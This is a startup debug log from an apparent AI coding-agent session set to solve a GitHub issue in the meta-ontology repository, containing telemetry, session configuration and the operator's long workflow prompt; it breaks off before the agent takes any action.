app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:14.339Z] [INFO] 2026-07-12T04:02:14.304705Z  INFO app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}: codex_otel.trace_safe: event.name=\"codex.startup_phase\" startup.phase=\"thread_start_total\" startup.status=\"ready\" duration_ms=722 event.timestamp=2026-07-12T04:02:14.304Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:14.339Z] [INFO] \n[2026-07-12T04:02:14.345Z] [INFO] {\"type\":\"thread.started\",\"thread_id\":\"019f547d-6d2b-7162-ae64-b2b122b89c77\"}\n[2026-07-12T04:02:14.345Z] [INFO] \n[2026-07-12T04:02:14.348Z] [INFO] \ud83d\udccc Session ID: 019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:02:14.353Z] [INFO] 2026-07-12T04:02:14.309060Z  INFO codex.exec{otel.kind=\"internal\" thread.id=\"019f547d-6d2b-7162-ae64-b2b122b89c77\"}: codex_exec: Codex initialized with event: SessionConfiguredEvent { session_id: SessionId { uuid: 019f547d-6d2b-7162-ae64-b2b122b89c77 }, thread_id: ThreadId { uuid: 019f547d-6d2b-7162-ae64-b2b122b89c77 }, forked_from_id: None, parent_thread_id: None, thread_source: Some(User), thread_name: None, model: \"gpt-5.6-sol\", model_provider_id: \"openai\", service_tier: None, approval_policy: Never, approvals_reviewer: User, permission_profile: Disabled, active_permission_profile: None, cwd: AbsolutePathBuf(\"/tmp/gh-issue-solver-1783828904396\"), reasoning_effort: Some(Medium), initial_messages: None, network_proxy: None, rollout_path: Some(\"/home/box/.codex/sessions/2026/07/12/rollout-2026-07-12T04-02-13-019f547d-6d2b-7162-ae64-b2b122b89c77.jsonl\") }\n[2026-07-12T04:02:14.353Z] [INFO] 2026-07-12T04:02:14.312886Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}: codex_core::session::handlers: Submission sub=Submission { id: \"019f547d-6ea8-7232-8540-37894db8bb13\", op: UserInput { items: [Text { text: \"You are an AI issue solver using OpenAI Codex.\\nGeneral guidelines.\\n   - When you execute commands and the output becomes large, save the logs to files for easier review.\\n   - When running commands, avoid setting a timeout yourself. Let them run as long as needed. The default timeout of 2 minutes is usually enough, and once commands finish, review the logs in the file.\\n   - When running sudo commands, especially package installations like apt-get, yum, or npm install, run them in the background to avoid timeout issues and permission errors when the process needs to be killed. Use the run_in_background parameter or append & to the command.\\n\\n   - When CI is failing or user reports failures, consider adding a detailed investigation protocol to your todo list with these steps:\\n      Step 1: List recent runs with timestamps using: gh run list --repo link-foundation/meta-ontology --branch issue-5-e2602184e2c5 --limit 5 --json databaseId,conclusion,createdAt,headSha\\n      Step 2: Verify runs are after the latest commit by checking timestamps and SHA\\n      Step 3: For each non-passing run, download logs to preserve them: gh run view {run-id} --repo link-foundation/meta-ontology --log > ci-logs/{workflow}-{run-id}.log\\n      Step 4: Read each downloaded log file with the Read tool to understand the actual failures\\n      Step 5: Report findings with specific errors and line numbers from logs\\n      This detailed investigation is especially helpful when user mentions CI failures, asks to investigate logs, you see non-passing status, or when finalizing a PR.\\n      Note: If user says \\\"failing\\\" but tools show \\\"passing\\\", this might indicate stale data - consider downloading fresh logs and checking timestamps to resolve the discrepancy.\\n   - When a code or log file has more than 1500 lines, read it in chunks of 1500 lines.\\n   - When facing a complex problem, do as much tracing as possible and turn on all verbose modes.\\n   - When you create debug, test, or example scripts while fixing an issue, keep them in ./examples and/or ./experiments so you can reuse them later.\\n   - When you test assumptions, keep experiment scripts in ./experiments.\\n   - When an experiment demonstrates a real-world use case of the software, add it to ./examples.\\n   - When you face something extremely hard, use divide and conquer.\\n\\nInitial research.\\n   - When you start, create a detailed plan for yourself and follow your todo list step by step. Add as many relevant points from these guidelines to the todo list as practical so you can track the work clearly.\\n   - When the user mentions CI failures or asks to investigate logs, consider adding these todos to track the investigation: (1) list recent CI runs with timestamps, (2) download logs from failed runs to the ci-logs/ directory, (3) analyze error messages and identify the root cause, (4) implement a fix, (5) verify that the fix resolves the specific errors found in the logs.\\n   - When you read the issue, read all details and comments thoroughly.\\n   - When you see screenshots or images in issue descriptions, pull request descriptions, comments, or discussions, download the image to a local file first, then use the Read tool to view and analyze it. Before reading downloaded images with the Read tool, verify that the file is a valid image rather than HTML by using a CLI tool such as the 'file' command. When the file command shows \\\"HTML\\\", \\\"text\\\", or \\\"ASCII text\\\", the download failed, so do not call Read on that file. When images are from GitHub issues or PRs, such as URLs containing \\\"github.com/user-attachments\\\", use: curl -L -H \\\"Authorization: token $(gh auth token)\\\" -o  \\\"\\\"\\n   - When you need issue details, use gh issue view https://github.com/link-foundation/meta-ontology/issues/5.\\n   - When you need related code, use gh search code --owner link-foundation [keywords].\\n   - When you need repo context, read files in your working directory.\\n   - When you study related work, study the most recent related pull requests.\\n   - When the issue is not defined clearly enough, write a comment with clarifying questions.\\n   - When accessing GitHub Gists (especially private ones), use gh gist view command instead of direct URL fetching to ensure proper authentication.\\n   - When you are fixing a bug, find the actual root cause first and run as many experiments as needed.\\n   - When you are fixing a bug and the code does not have enough tracing or logs, add them and keep them in the code with the default state switched off.\\n   - When you need comments on a pull request, note that GitHub has three different comment types with different API endpoints:\\n      1. PR review comments (inline code comments): gh api repos/link-foundation/meta-ontology/pulls/6/comments --paginate\\n      2. PR conversation comments (general discussion): gh api repos/link-foundation/meta-ontology/issues/6/comments --paginate\\n      3. PR reviews (approve/request changes): gh api repos/link-foundation/meta-ontology/pulls/6/reviews --paginate\\n      Note: The command \\\"gh pr view --json comments\\\" only returns conversation comments and misses review comments.\\n   - When you need the latest comments on the issue, use gh api repos/link-foundation/meta-ontology/issues/5/comments --paginate.\\n\\nSolution development and testing.\\n   - When issue is solvable, first create a test that reproduces the problem, then implement the fix.\\n   - When implementing features, search for similar existing implementations in the codebase and use them as examples instead of implementing everything from scratch.\\n   - When coding, commit each atomic step that is useful on its own to the pull request branch so interrupted work remains preserved in the pull request.\\n   - When you test:\\n      start from testing of small functions using separate scripts;\\n      write unit tests with mocks for easy and quick start.\\n   - When you test integrations, use existing framework.\\n   - When you test solution draft, include automated checks in pr.\\n   - When you write or modify tests, consider setting reasonable timeouts at test, suite, and CI job levels so failures surface quickly instead of hanging.\\n   - When you see repeated test timeout patterns in CI, investigate the root cause rather than increasing timeouts.\\n   - When the issue is unclear, write a comment on the issue with questions.\\n   - When you encounter any problems that you are unable to solve yourself (any human feedback or help), write a comment to the pull request asking for help.\\n   - When you need human help, use gh pr comment 6 --body \\\"your message\\\" to comment on existing PR.\\n\\nReproducible testing.\\n   - When fixing a bug, create a test that reproduces the problem before implementing the fix. When you cannot reproduce the problem, you cannot verify the fix.\\n   - When encountering logic bugs, write an automated test that fails due to the bug, then implement the fix to make it pass.\\n   - When encountering UI bugs, capture a screenshot showing the problem state, then create a visual regression test or manual verification screenshot after the fix.\\n   - When creating tests, prefer minimum reproducible examples, meaning the simplest test case that demonstrates the issue.\\n   - When submitting a fix, include in the PR description: (1) how to reproduce the issue, (2) the automated test that verifies the fix, (3) before/after screenshots for UI issues.\\n   - When a bug fix does not have a reproducing test, treat the fix as incomplete because regressions can occur later without notice.\\n\\nPreparing pull request.\\n   - When you code, follow contributing guidelines.\\n   - When you commit, write clear message.\\n   - When you need examples of style, use gh pr list --repo link-foundation/meta-ontology --state merged --search [keywords].\\n   - When you open pr, describe solution draft and include tests.\\n   - When there is a package with version and GitHub Actions workflows for automatic release, update the version (or other necessary release trigger) in your pull request to prepare for next release.\\n   - When you update existing pr 6, use gh pr edit to modify title and description.\\n   - When you are about to commit or push code, run local CI checks first if they are available in contributing guidelines (like ruff check, mypy, eslint, etc.) to catch errors before pushing.\\n   - When you finalize the pull request:\\n      check that the pull request title and description are updated (the PR may start with a [WIP] prefix and a placeholder description that should be replaced with the actual title and description of the changes),\\n      follow style from merged prs for code, title, and description,\\n      check that no uncommitted changes corresponding to the original requirements are left behind,\\n      check that the default branch is merged into the pull request branch,\\n      check that all CI checks are passing if they exist before you finish,\\n      double-check that all changes in the pull request address the original requirements of the issue,\\n      check for newly introduced bugs in the pull request by carefully reading gh pr diff,\\n      check that no previously existing features were removed without an explicit request in the issue description, issue comments, or pull request comments.\\n   - When you finish implementation, use gh pr ready 6.\\n\\nWorkflow and collaboration.\\n   - When you check branch, verify with git branch --show-current.\\n   - When you push, push only to branch issue-5-e2602184e2c5.\\n   - When you finish, create a pull request from branch issue-5-e2602184e2c5. (Note: PR 6 already exists, update it instead)\\n   - When you organize workflow, use pull requests instead of direct merges to default branch (main or master).\\n   - When you manage commits, preserve commit history for later analysis.\\n   - When you contribute, keep repository history forward-moving with regular commits, pushes, and reverts if needed.\\n   - When you face conflict that you cannot resolve yourself, ask for help.\\n   - When you collaborate, respect branch protections by working only on issue-5-e2602184e2c5.\\n   - When you mention a result, include the pull request URL or comment URL.\\n   - When you need to create pr, remember pr 6 already exists for this branch.\\n\\nSelf review.\\n   - When you check your solution draft, run all tests locally.\\n   - When you check your solution draft, verify git status shows a clean working tree with no uncommitted changes.\\n   - When you compare with repo style, use gh pr diff [number].\\n   - When you finalize, confirm code, tests, and description are consistent.\\n\\nGitHub CLI command patterns.\\n   - When fetching lists from GitHub API, use the --paginate flag to ensure all results are returned (GitHub returns max 30 per page by default).\\n   - When listing PR review comments (inline code comments), use gh api repos/OWNER/REPO/pulls/NUMBER/comments --paginate.\\n   - When listing PR conversation comments, use gh api repos/OWNER/REPO/issues/NUMBER/comments --paginate.\\n   - When listing PR reviews, use gh api repos/OWNER/REPO/pulls/NUMBER/reviews --paginate.\\n   - When listing issue comments, use gh api repos/OWNER/REPO/issues/NUMBER/comments --paginate.\\n   - When adding PR comment, use gh pr comment NUMBER --body \\\"text\\\" --repo OWNER/REPO.\\n   - When adding issue comment, use gh issue comment NUMBER --body \\\"text\\\" --repo OWNER/REPO.\\n   - When viewing PR details, use gh pr view NUMBER --repo OWNER/REPO.\\n   - When filtering with jq, use gh api repos/${owner}/${repo}/pulls/${prNumber}/comments --paginate --jq 'reverse | .[0:5]'.\\n\\nPlaywright MCP usage (browser automation via MCP tools).\\n   - When you develop frontend web applications or debug UI issues, use Playwright MCP tools to test the UI in a real browser.\\n   - When simple fetch-based browsing is insufficient for dynamic pages, use Playwright MCP browser automation as a fallback.\\n   - When WebSearch tool fails or returns insufficient results, use Playwright MCP browser automation as a fallback for internet search.\\n   - When reproducing or verifying UI bugs, take before/after screenshots and close the browser when finished.\\n\\nVisual UI work and screenshots.\\n   - When you work on visual UI changes (frontend, CSS, HTML, design), include a render or screenshot of the final result in the pull request description.\\n   - When you need to show visual results, take a screenshot and save it to the repository (e.g., in a docs/screenshots/ or assets/ folder).\\n   - When you save screenshots to the repository, use permanent links in the pull request description markdown (e.g., https://github.com/link-foundation/meta-ontology/blob/issue-5-e2602184e2c5/docs/screenshots/result.png?raw=true).\\n   - When uploading images, commit them to the branch first, then reference them using the GitHub blob URL format with ?raw=true suffix (works for both public and private repositories).\\n   - When the visual result is important for review, mention it explicitly in the pull request description with the embedded image.\\n   - When fixing UI bugs, capture both the \\\"before\\\" (problem) and \\\"after\\\" (fixed) screenshots as evidence for human verification.\\n   - When reporting UI bugs, include a screenshot of the problem state to enable visual verification of the fix.\\n   - When the fix is visual, include side-by-side or sequential comparison of before/after states in the PR description.\\n   - When possible, create automated visual regression tests to prevent the UI bug from recurring.\\n\\nIssue to solve: https://github.com/link-foundation/meta-ontology/issues/5\\nYour prepared branch: issue-5-e2602184e2c5\\nYour prepared working directory: /tmp/gh-issue-solver-1783828904396\\nYour prepared Pull Request: https://github.com/link-foundation/meta-ontology/pull/6\\n\\nProceed.\\n\", text_elements: [] }], final_output_json_schema: None, responsesapi_client_metadata: None, additional_context: {}, thread_settings: ThreadSettingsOverrides { environments: Some(TurnEnvironmentSelections { legacy_fallback_cwd: AbsolutePathBuf(\"/tmp/gh-issue-solver-1783828904396\"), environments: [TurnEnvironmentSelection { environment_id: \"local\", cwd: PathUri(Url { scheme: \"file\", cannot_be_a_base: false, username: \"\", password: None, host: None, port: None, path: \"/tmp/gh-issue-solver-1783828904396\", query: None, fragment: None }) }] }), workspace_roots: None, profile_workspace_roots: None, approval_policy: Some(Never), approvals_reviewer: None, sandbox_policy: None, permission_profile: None, active_permission_profile: None, windows_sandbox_level: None, model: None, effort: Some(Some(Medium)), summary: None, service_tier: None, collaboration_mode: None, personality: None } }, client_user_message_id: None, trace: None }\n[2026-07-12T04:02:14.353Z] [INFO] \n[2026-07-12T04:02:14.358Z] [INFO] 2026-07-12T04:02:14.315200Z  INFO codex.exec{otel.kind=\"internal\" thread.id=\"019f547d-6d2b-7162-ae64-b2b122b89c77\"}: codex_exec: Sent prompt with event ID: 019f547d-6ea8-7232-8540-37894db8bb13\n[2026-07-12T04:02:14.358Z] [INFO] \n[2026-07-12T04:02:14.372Z] [INFO] 2026-07-12T04:02:14.331503Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:14.372Z] [INFO] 2026-07-12T04:02:14.331589Z DEBUG cookie_store::cookie_store: inserting secure cookie '_cfuvid'\n[2026-07-12T04:02:14.372Z] [INFO] 2026-07-12T04:02:14.333385Z DEBUG cookie_store::cookie_store: inserting secure cookie '__cf_bm'\n[2026-07-12T04:02:14.372Z] [INFO] 2026-07-12T04:02:14.333543Z DEBUG cookie_store::cookie_store: inserting secure cookie '__cflb'\n[2026-07-12T04:02:14.372Z] [INFO] 2026-07-12T04:02:14.333586Z DEBUG cookie_store::cookie_store: inserting secure cookie '_cfuvid'\n[2026-07-12T04:02:14.372Z] [INFO] \n[2026-07-12T04:02:14.384Z] [INFO] 2026-07-12T04:02:14.343637Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:14.384Z] [INFO] \n[2026-07-12T04:02:14.389Z] [INFO] 2026-07-12T04:02:14.354262Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}: codex_otel.log_only: event.name=\"codex.user_prompt\" prompt_length=13677 prompt=[REDACTED] event.timestamp=2026-07-12T04:02:14.354Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:14.389Z] [INFO] 2026-07-12T04:02:14.354473Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}: codex_otel.trace_safe: event.name=\"codex.user_prompt\" prompt_length=13677 text_input_count=1 image_input_count=0 local_image_input_count=0 event.timestamp=2026-07-12T04:02:14.354Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:14.389Z] [INFO] \n[2026-07-12T04:02:14.402Z] [INFO] 2026-07-12T04:02:14.356726Z DEBUG opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.rollout_compression.materialize\" cardinality_limit=2000\n[2026-07-12T04:02:14.402Z] [INFO] \n[2026-07-12T04:02:14.408Z] [INFO] 2026-07-12T04:02:14.367146Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:14.408Z] [INFO] 2026-07-12T04:02:14.367208Z DEBUG cookie_store::cookie_store: inserting secure cookie '_cfuvid'\n[2026-07-12T04:02:14.408Z] [INFO] 2026-07-12T04:02:14.367568Z  INFO codex_core_skills::service: skills cache cleared (1 entries)\n[2026-07-12T04:02:14.408Z] [INFO] 2026-07-12T04:02:14.369590Z DEBUG cookie_store::cookie_store: inserting secure cookie '__cf_bm'\n[2026-07-12T04:02:14.408Z] [INFO] 2026-07-12T04:02:14.369658Z DEBUG cookie_store::cookie_store: inserting secure cookie '__cflb'\n[2026-07-12T04:02:14.408Z] [INFO] 2026-07-12T04:02:14.369671Z DEBUG cookie_store::cookie_store: inserting secure cookie '_cfuvid'\n[2026-07-12T04:02:14.408Z] [INFO] \n[2026-07-12T04:02:14.451Z] [INFO] 2026-07-12T04:02:14.381139Z DEBUG codex_config::loader::layer_io: /etc/codex/managed_config.toml not found\n[2026-07-12T04:02:14.451Z] [INFO] \n[2026-07-12T04:02:14.454Z] [INFO] 2026-07-12T04:02:14.400667Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:14.454Z] [INFO] \n[2026-07-12T04:02:14.478Z] [INFO] 2026-07-12T04:02:14.476740Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:14.478Z] [INFO] \n[2026-07-12T04:02:14.573Z] [INFO] 2026-07-12T04:02:14.573228Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:14.573Z] [INFO] \n[2026-07-12T04:02:14.714Z] [INFO] 2026-07-12T04:02:14.713551Z DEBUG codex.exec_server.http_request{otel.kind=\"client\" http.request.method=\"POST\" server.address=\"chatgpt.com\" server.port=443}: cookie_store::cookie_store: inserting secure cookie '__cflb'\n[2026-07-12T04:02:14.714Z] [INFO] 2026-07-12T04:02:14.713645Z DEBUG codex.exec_server.http_request{otel.kind=\"client\" http.request.method=\"POST\" server.address=\"chatgpt.com\" server.port=443}: cookie_store::cookie_store: inserting secure cookie '_cfuvid'\n[2026-07-12T04:02:14.714Z] [INFO] \n[2026-07-12T04:02:14.718Z] [INFO] 2026-07-12T04:02:14.714695Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:14.718Z] [INFO] 2026-07-12T04:02:14.715792Z DEBUG cookie_store::cookie_store: inserting secure cookie '_cfuvid'\n[2026-07-12T04:02:14.718Z] [INFO] 2026-07-12T04:02:14.716222Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:14.718Z] [INFO] \n[2026-07-12T04:02:14.731Z] [INFO] 2026-07-12T04:02:14.719049Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:14.731Z] [INFO] \n[2026-07-12T04:02:14.750Z] [INFO] 2026-07-12T04:02:14.749549Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:14.750Z] [INFO] \n[2026-07-12T04:02:14.773Z] [INFO] 2026-07-12T04:02:14.763864Z DEBUG codex.exec_server.http_request{otel.kind=\"client\" http.request.method=\"POST\" server.address=\"chatgpt.com\" server.port=443}: reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:14.773Z] [INFO] 2026-07-12T04:02:14.763884Z  INFO codex_core_plugins::remote::remote_installed_plugin_sync: completed remote installed plugin bundle sync installed_plugin_ids=[] removed_cache_plugin_ids=[] failed_remote_plugin_ids=[]\n[2026-07-12T04:02:14.773Z] [INFO] \n[2026-07-12T04:02:14.788Z] [INFO] 2026-07-12T04:02:14.788122Z DEBUG codex.exec_server.http_request{otel.kind=\"client\" http.request.method=\"POST\" server.address=\"chatgpt.com\" server.port=443}: hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:14.788Z] [INFO] \n[2026-07-12T04:02:14.797Z] [INFO] 2026-07-12T04:02:14.796333Z DEBUG codex.exec_server.http_request{otel.kind=\"client\" http.request.method=\"POST\" server.address=\"chatgpt.com\" server.port=443}: hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:14.797Z] [INFO] \n[2026-07-12T04:02:14.843Z] [INFO] 2026-07-12T04:02:14.836352Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:14.843Z] [INFO] \n[2026-07-12T04:02:14.857Z] [INFO] {\"type\":\"turn.started\"}\n[2026-07-12T04:02:14.857Z] [INFO] \n[2026-07-12T04:02:14.873Z] [INFO] 2026-07-12T04:02:14.872752Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:14.873Z] [INFO] \n[2026-07-12T04:02:14.874Z] [INFO] 2026-07-12T04:02:14.874545Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:14.874Z] [INFO] \n[2026-07-12T04:02:14.889Z] [INFO] 2026-07-12T04:02:14.885942Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:14.889Z] [INFO] \n[2026-07-12T04:02:14.912Z] [INFO] 2026-07-12T04:02:14.907632Z DEBUG codex.exec_server.http_request{otel.kind=\"client\" http.request.method=\"POST\" server.address=\"chatgpt.com\" server.port=443}: hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:14.912Z] [INFO] 2026-07-12T04:02:14.907702Z DEBUG codex.exec_server.http_request{otel.kind=\"client\" http.request.method=\"POST\" server.address=\"chatgpt.com\" server.port=443}: cookie_store::cookie_store: inserting secure cookie '_cfuvid'\n[2026-07-12T04:02:14.912Z] [INFO] 2026-07-12T04:02:14.908885Z  INFO app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:session_init:session_init.mcp_manager_init{otel.name=\"session_init.mcp_manager_init\"}:serve_inner: rmcp::service: Service initialized as client peer_info=Some(InitializeResult { protocol_version: ProtocolVersion(\"2025-06-18\"), capabilities: ServerCapabilities { experimental: None, extensions: None, logging: None, completions: None, prompts: None, resources: Some(ResourcesCapability { subscribe: Some(false), list_changed: Some(false) }), tools: Some(ToolsCapability { list_changed: Some(false) }), tasks: None }, server_info: Implementation { name: \"plugin-runtime\", title: None, version: \"0.1.0\", description: None, icons: None, website_url: None }, instructions: None })\n[2026-07-12T04:02:14.912Z] [INFO] 2026-07-12T04:02:14.909088Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:14.912Z] [INFO] 2026-07-12T04:02:14.909145Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:02:14 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"7c375aa7-797a-42f5-8d23-93911414fa5f\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=D%2FM6rs%2FHExJ6XS6xD4zc8X48ygqbEDWxDF7sVKz%2FAQuWPlBV%2BOWAD80e0UWyG9kp2F29pipX%2FtxQUzJ6Go1HwWafftFsBSFqdrlhdqjNmfC%2FEe2zTOkJ59ISabRd\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d26babe38d3ae-FRA\"} version=HTTP/1.1\n[2026-07-12T04:02:14.912Z] [INFO] \n[2026-07-12T04:02:14.918Z] [INFO] 2026-07-12T04:02:14.913036Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:14.918Z] [INFO] \n[2026-07-12T04:02:14.932Z] [INFO] 2026-07-12T04:02:14.932415Z DEBUG codex.exec_server.http_request{otel.kind=\"client\" http.request.method=\"POST\" server.address=\"chatgpt.com\" server.port=443}: reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:14.932Z] [INFO] \n[2026-07-12T04:02:14.937Z] [INFO] 2026-07-12T04:02:14.937569Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}: codex_core::session::handlers: Submission sub=Submission { id: \"019f547d-7119-7152-bc76-76b11a126611\", op: RefreshMcpServers { config: McpServerRefreshConfig { mcp_servers: Object {\"playwright\": Object {\"command\": String(\"npx\"), \"args\": Array [String(\"-y\"), String(\"@playwright/mcp@latest\"), String(\"--isolated\"), String(\"--headless\"), String(\"--no-sandbox\"), String(\"--timeout-action=600000\"), String(\"--viewport-size\"), String(\"1920x1080\")], \"environment_id\": String(\"local\"), \"enabled\": Bool(true), \"tool_timeout_sec\": Null}, \"codex_apps\": Object {\"url\": String(\"https://chatgpt.com/backend-api/ps/mcp\"), \"auth\": String(\"chatgpt\"), \"environment_id\": String(\"local\"), \"enabled\": Bool(true), \"startup_timeout_sec\": Number(30.0), \"tool_timeout_sec\": Null}}, mcp_oauth_credentials_store_mode: String(\"auto\"), auth_keyring_backend_kind: String(\"direct\") } }, client_user_message_id: None, trace: None }\n[2026-07-12T04:02:14.937Z] [INFO] \n[2026-07-12T04:02:14.946Z] [INFO] 2026-07-12T04:02:14.946000Z DEBUG codex.exec_server.http_request{otel.kind=\"client\" http.request.method=\"POST\" server.address=\"chatgpt.com\" server.port=443}: hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:14.946Z] [INFO] \n[2026-07-12T04:02:14.956Z] [INFO] 2026-07-12T04:02:14.950670Z DEBUG codex.exec_server.http_request{otel.kind=\"client\" http.request.method=\"POST\" server.address=\"chatgpt.com\" server.port=443}: hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:14.956Z] [INFO] \n[2026-07-12T04:02:15.174Z] [INFO] 2026-07-12T04:02:15.173966Z DEBUG app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:session_init:session_init.mcp_manager_init{otel.name=\"session_init.mcp_manager_init\"}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.mcp.tools.fetch_uncached.duration_ms\" cardinality_limit=2000\n[2026-07-12T04:02:15.174Z] [INFO] \n[2026-07-12T04:02:15.185Z] [INFO] 2026-07-12T04:02:15.184758Z DEBUG app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:session_init:session_init.mcp_manager_init{otel.name=\"session_init.mcp_manager_init\"}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.mcp.tools.cache_write.duration_ms\" cardinality_limit=2000\n[2026-07-12T04:02:15.185Z] [INFO] \n[2026-07-12T04:02:15.188Z] [INFO] 2026-07-12T04:02:15.185561Z DEBUG app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:session_init:session_init.mcp_manager_init{otel.name=\"session_init.mcp_manager_init\"}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" 